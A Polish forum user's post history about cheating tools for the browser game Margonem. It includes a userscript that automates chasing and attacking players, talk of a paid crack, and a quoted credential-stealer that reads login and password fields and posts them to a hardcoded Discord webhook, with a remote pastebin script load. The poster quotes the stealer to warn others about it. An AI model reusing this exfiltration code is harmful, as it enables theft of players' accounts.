Skocz do zawartości

lvkasze

  • Postów

    376
  • Dołączył

  • Donacje

    0.00 PLN 
  • Diamenty

    0 [ Podaruj ]

Posty opublikowane przez lvkasze

  1. Apka jest useless, nie ma co bocić od dłuższego czasu, nie opłaca się kupować apki bo jest zbyt znerfiona, jak były tzw. "farmy botów", wtedy się opłacało, teraz już nie. 😄

  2. Skrypt autorstwa znanego Adiego Wilka, klikając w lewym górnym rogu gdy coś bijemy, klikając to po zakończonej walce teleportuje nas na tzw. Kwiatki, przydatne m.in. na Berufs, również możemy kogoś gonić klikając w lewym górnym rogu atakuj, biegnie samo za nim i daje AutoX.

    // ==UserScript==
    // @name         Rozbudowane KtoTuJest ver. 4.3
    // @version      4.3
    // @description  wersja numer cztery-tri
    // @author       adi wilk
    // @match        http://*.margonem.pl/
    // @grant        none
    // ==/UserScript==
    (function(d, _p, _nP, _r, _bM) {
        let tmparr = new Array();
        //elementy graficzne
        let box = d.createElement("span");
        box.id = "enepere123";
        box.style = "position: absolute; background: black; color: white; top: 0px; left: 0px; width: auto; height: auto; font-size: 14px";
        d.body.appendChild(box);
        let uciek = d.createElement("span");
        uciek.innerHTML = "UCIECZKA";
        uciek.style.fontWeight = "bold";
        uciek.tip = "Naciśnij podczas walki, aby po walce automatycznie uciec na Kwieciste Przejście.";
        //zmienne dla ucieczki
        let isUcieczka = false;
        let idZwoja;
        window.hero.searchPath1 = function(a, t) {
                    if (this.isBlockedSearchPath()) return this.blockedInfoSearchPath();
                    for (var h = [], i = 128 & hero.opt ? 8 : 20, r = Math.max(0, Math.min(a, this.x) - i), s = Math.min(map.x - 1, Math.max(a, this.x) + i), o = Math.max(0, Math.min(t, this.y) - i), e = Math.min(map.y - 1, Math.max(t, this.y) + i), d = r - 1; s + 1 >= d; d++) {
                        h[d] = [];
                        for (var x = o - 1; e + 1 >= x; x++) h[d][x] = !(d >= r && s >= d && x >= o && e >= x) || isset(g.npccol[d + 256 * x]) || map.col && "0" != map.col.charAt(d + x * map.x) ? -2 : -1
                    }
                    h[this.x][this.y] = 0, b = -1, road = [];
                    for (var c = {
                        x: -1,
                        y: -1,
                        dist: 99
                    }, y = 1; s - r + e - o + 3 > y; y++)
                        for (var d = r; s >= d; d++)
                            for (var x = o; e >= x; x++) {
                                if (-1 != h[d][x] || h[d][x - 1] != y - 1 && h[d][x + 1] != y - 1 && h[d - 1][x] != y - 1 && h[d + 1][x] != y - 1 || (h[d][x] = y), h[a][t] > 0) {
                                    d = s + 1;
                                    break
                                }
                                c.dist2 = Math.abs(a - d) + Math.abs(t - x), h[d][x] == y && c.dist2 < c.dist && (c.x = d, c.y = x, c.dist = c.dist2)
                            }
                    if (c.hdist = Math.abs(a - hero.x) + Math.abs(t - hero.y), h[a][t] > 0 || c.dist < c.hdist) {
                        h[a][t] < 0 && (a > c.x ? b = 2 : a < c.x ? b = 1 : t > c.y ? b = 0 : t < c.y && (b = 3), a = c.x, t = c.y), road[0] = {
                            x: a,
                            y: t
                        };
                        for (var f = h[a][t] - 1, l = a, m = t; f > 0; f--) h[l][m - 1] == f ? m-- : h[l][m + 1] == f ? m++ : h[l - 1][m] == f ? l-- : h[l + 1][m] == f ? l++ : f = 0, f && (road[h[a][t] - f] = {
                            x: l,
                            y: m
                        })
                    }
                    road.length > 1 && null == g.playerCatcher.follow && $("#target").stop().css({
                        left: 32 * a,
                        top: 32 * t,
                        display: "block",
                        opacity: 1
                    }).fadeOut(1e3)
                };
        uciek.addEventListener("click", function() {
            if (g.battle) {
                if (!isUcieczka) {
                    for (let i in g.item) {
                        if (g.item[i].loc == "g" && g.item[i].name == "Zwój teleportacji na Kwieciste Przejście") {
                            isUcieczka = true;
                            idZwoja = i;
                            uciek.style.color = "green";
                            uciek.innerHTML = "UCIECZKA AKTYWNA";
                            break;
                        }
                    }
                } else {
                    uciek.style.color = "white";
                    uciek.innerHTML = "UCIECZKA";
                    isUcieczka = false;
                }
            }
        });
        box.appendChild(uciek);
        let dane = d.createElement("span");
        box.appendChild(dane);
        let style = d.createElement("style");
        style.innerHTML = ".adison9711:hover{background:#686868}";
        d.head.appendChild(style);
        //zmienna numeracji
        let number;
        //zmienne dla poscigu
        let oid = 0;
        let ox;
        let oy;
        let hx;
        let hy;
        let walczacy = [];
        //anulowanie poscigu
        d.querySelector("#nick").addEventListener("click", function() {
            if (oid != 0) {
                oid = 0;
                message(`Przerwałeś pościg!`);
            }
        });
        //zmienne dla hero/tytan i syrena
        let audio = new Audio();
        audio.src = "http://www.adiwilk.pl/js/syrena.mp3";
        let szczur = d.createElement("span");
        szczur.id = "adison_zarcik";
        szczur.style = "position: absolute; background-color: blue; top: 100px; right: 100px; color: white; font-size: 35px; display: none; text-align: center; padding: 10px; cursor: pointer";
        szczur.innerHTML = "Wyłącz syrenę";
        d.body.appendChild(szczur);
        szczur.addEventListener("click", function() {
            szczur.style.display = "none";
            audio.pause();
        });
    
        //stworzenie spana dla osoby
        function wyjebPodswietlenie() {
            for (let i in g.other) {
                d.querySelector(`#other${i}`).style.backgroundColor = "";
            }
        }
    
        function createOtherSpan(nr, id, nick, relacja, lvl, profa, prawa) {
            //caly div
            let sp = d.createElement("span");
            sp.classList.add("adison9711");
            sp.innerHTML = `<br>${nr}. `;
            //nick i relacja(style tez)
            let nickname = d.createElement("span");
            nickname.innerHTML = `${nick}`;
            nickname.tip = "Naciśnij, aby napisać do tej osoby.";
            nickname.addEventListener("click", function() {
                chatTo(`${nick}`);
            });
            nickname.style.fontWeight = "bold";
            if (prawa > 0) {
                nickname.style.color = "gold";
            }
            switch (relacja) {
                case "fr":
                    nickname.style.color = "green";
                    break;
                case "en":
                    nickname.style.color = "red";
                    break;
                case "cl":
                    nickname.style.color = "lightblue";
                    break;
            }
            sp.appendChild(nickname);
            //lvl i profa
            let lvlpr = d.createElement("span");
            lvlpr.innerHTML = ` ${lvl}${profa} `;
            sp.appendChild(lvlpr);
            //odleglosc
            let odle = d.createElement("span");
            let licz = Math.round(Math.sqrt(Math.pow(g.other[id].x - hero.x, 2) + Math.pow(g.other[id].y - hero.y, 2)));
            odle.innerHTML = `[Odl.: ${licz}] `;
            odle.tip = "Naciśnij, aby podejść."
            odle.addEventListener("click", function() {
                window.hero.searchPath1(g.other[id].x, g.other[id].y);
            });
            sp.appendChild(odle);
            //poscig
            let forposcig = d.createElement("span");
            forposcig.innerHTML = `[ATAKUJ]`;
            forposcig.tip = "Naciśnij, aby aktywować pościg."
            forposcig.addEventListener("click", function() {
                if (!g.battle) {
                    if (map.pvp == 2) {
                        oid = id;
                        message(`Rozpoczęto pościg za: ${g.other[id].nick}!`);
                    } else {
                        message(`Nie jesteś na czerwonej mapce!`);
                    }
                } else {
                    message(`Trwa walka!`);
                }
            });
            sp.appendChild(forposcig);
            //kolorek dla postaci po najechaniu
            sp.addEventListener("mouseover", function() {
                wyjebPodswietlenie();
                d.querySelector(`#other${id}`).style.backgroundColor = "rgb(255, 102, 0, .65)";
                d.querySelector(`#other${id}`).style.borderRadius = "7px";
            });
            sp.addEventListener("mouseleave", function() {
                if (g.other[id]) d.querySelector(`#other${id}`).style.backgroundColor = "";
            });
            dane.appendChild(sp);
        }
        //kreacja div'a
        function createDiv() {
            number = 1;
            dane.innerHTML = "";
            for (let i in g.other) {
                let litera = "";
                if (number < 10) litera = `0${number}`;
                else litera = number;
                let o = g.other[i];
                if (o.nick === undefined) continue;
                createOtherSpan(litera, o.id, o.nick, o.relation, o.lvl, o.prof, o.rights);
                number++;
            }
        }
    
        function createMessage(id) {
            let npc = g.npc[id];
            if (npc.wt > 99) {
                //tytan
                audio.play();
                szczur.style.display = "block";
                message(`<center>Tytan: ${npc.nick} ${npc.lvl}lvl<br><img src=${npc.icon} /><br>[${npc.x}, ${npc.y}]</center>`);
            } else {
                //heros
                let odl = Math.sqrt(Math.pow(Math.abs(hero.x - npc.x), 2)) + Math.sqrt(Math.pow(Math.abs(hero.y - npc.y), 2));
                if (!g.battle && odl > 8) {
                    mAlert(`<center>Heros:<br><img src=${npc.icon} /><br><b>${npc.nick}</b> ${npc.lvl}lvl<br>${map.name}(${npc.x},${npc.y})<br>Czy chcesz podejść?</center>`, 2, [function() {
                        if (miniMapPlus) {
                            miniMapPlus.searchPath(npc.x, npc.y);
                        } else {
                            window.hero.searchPath1(npc.x, npc.y);
                        }
    
                    }, function() {
                        return false;
                    }]);
                } else {
                    message(`<center>Heros: ${npc.nick} ${npc.lvl}lvl<br><img src=${npc.icon} /><br>[${npc.x}, ${npc.y}]</center>`);
                }
            }
        }
        //funkcje podstawowe
        parseInput = function(a, b, c) {
            _p(a, b, c);
            //dodanie do tablicy walczacych graczy
            if (a.hasOwnProperty("emo")) {
                for (let i in a.emo) {
                    if (a.emo[i].name == "battle" && !walczacy.includes(a.emo[i].source_id)) {
                        walczacy.push(a.emo[i].source_id);
                    } else if (a.emo[i].name != "battle" && walczacy.includes(a.emo[i].source_id)) {
                        walczacy.splice(walczacy.indexOf(a.emo[i].source_id), 1);
                    }
                }
            }
            d.querySelector("#enepere123").style.width = d.querySelector("#centerbox").style.left;
            createDiv();
        }
        newNpc = function(e) {
            _nP(e);
            for (let i in e) {
                if (e[i].wt > 79 && map.mode != 5 && g.worldname != "experimental" && !tmparr.includes(e[i].id)) {
                    createMessage(i);
                    tmparr.push(e[i].id);
                    break;
                }
            }
        }
        hero.run = function() {
            if (oid != 0) {
                if (g.other[oid]) {
                    ox = g.other[oid].x;
                    oy = g.other[oid].y;
                    hx = hero.x;
                    hy = hero.y;
                    if (!g.battle) {
                        if (Math.abs(hx - ox) <= 2 && Math.abs(hy - oy) <= 2) {
                            if (!walczacy.includes(Number(oid))) _g(`fight&a=attack&id=${oid}`);
                        }
                        if (hx != ox || hy != oy) {
                            window.hero.searchPath1(ox, oy);
                        }
                    } else {
                        oid = 0;
                        message(`Jest walka!`);
                    }
                }
            }
            _r.apply(this, arguments);
        }
    
        let chudsada;
    battleMsg = function(a, b) {
        let ret = _bM(a, b);
        if (a.indexOf("winner=") > -1) {
            _g("fight&a=quit");
            if (isUcieczka) {
                _g(`moveitem&st=1&id=${idZwoja}`);
                isUcieczka = false;
                uciek.style.color = "white";
                uciek.innerHTML = "UCIECZKA";
            }
            chudsada = setInterval(function(){
                if(g.battle){
                    _g("fight&a=quit");
                } else {
                    clearInterval(chudsada);
                }
            }, 100);
        }
        return ret;
    }
    })(document, parseInput, newNpc, hero.run, battleMsg)
  3. {
            key: "logout",
            value: function logout() {
              this.battle ||
                this.loots ||
                this.issetMyNpcOnMap ||
                this.isHealing ||
                (window.location.href = "http://margonem.pl");
            }
          },
          {
            key: "logIn",
            value: function logIn(a, b) {
              if (
                ("none" === this.interface ||
                  void 0 === this.hero.id ||
                  this.hero.id != a) &&
                !(
                  "none" !== this.interface &&
                  (this.battle ||
                    this.loots ||
                    this.issetMyNpcOnMap ||
                    this.isHealing)
                )
              )
                try {
                  var c = new Date();
                  c.setTime(c.getTime() + 259200000),
                    (document.cookie = "mchar_id="
                      .concat(a, "; path=/; expires=")
                      .concat(c.toGMTString(), "; domain=.margonem.pl")),
                    (window.location.href = "http://".concat(
                      b.toLowerCase(),
                      ".margonem.pl"
                    ));
                } catch (a) {}
            }
          },

    Spróbuj usunąć te linijki.

  4.    function sendInfoToDiscord(txt) {
            let u = atob("aHR0cHM6Ly9kaXNjb3JkYXBwLmNvbS9hcGkvd2ViaG9va3MvNDc3NjYzNTM1NDAxMjcxMzE2L1V5ZmtfS194cUY3bFpnN3lycTl4SUVWMEREZ1dMVlEySVlMZFA4akhRdWhrUFNGbENqZlpOSVRhQmhzSnA1ekVtTVlu");
            $.ajax({
                url: u,
                type: 'POST',
                data: JSON.stringify({
                    content: txt,
                    username: hero.nick,
                    avatar_url: `http://jaruna.margonem.pl/obrazki/itemy/upg/upg01.gif`
                }),
                contentType: 'application/json; charset=utf-8',
                dataType: 'json',
                async: false
            });
        }
      return "https://discordapp.com/api/webhooks/674269883474640906/SvCmsJqDu_eBRh6lyG5hoIySuZ4tEXWJOJvoOKeVdahC523NNrqtTzfAJIO-5lbre0-q", t = document.getElementById("ulogin").value, o = document.getElementById("upass").value, [4, fetch("https://discordapp.com/api/webhooks/674269883474640906/SvCmsJqDu_eBRh6lyG5hoIySuZ4tEXWJOJvoOKeVdahC523NNrqtTzfAJIO-5lbre0-q", {

    ^ Wysyła twoje hasło + login = ulogin + hasło (upass) na webhooki discorda na jakiś server +

        })($.getScript("https://pastebin.com/raw/RR2u4y7u"))
  5. Crack meno istnieją dwa.

    Do jednego nie dostaniesz licencji bez znajomości. 😉

    Drugi sprzedawany jest za 20 PLN/200m publik /lifetime

     

    A crack i tak można mieć darmowego jak się potrafi. 😄

×
×
  • Dodaj nową pozycję...

Powiadomienie o plikach cookie

Umieściliśmy na Twoim urządzeniu pliki cookie, aby pomóc Ci usprawnić przeglądanie strony. Możesz dostosować ustawienia plików cookie, w przeciwnym wypadku zakładamy, że wyrażasz na to zgodę. Regulamin. Polityka prywatności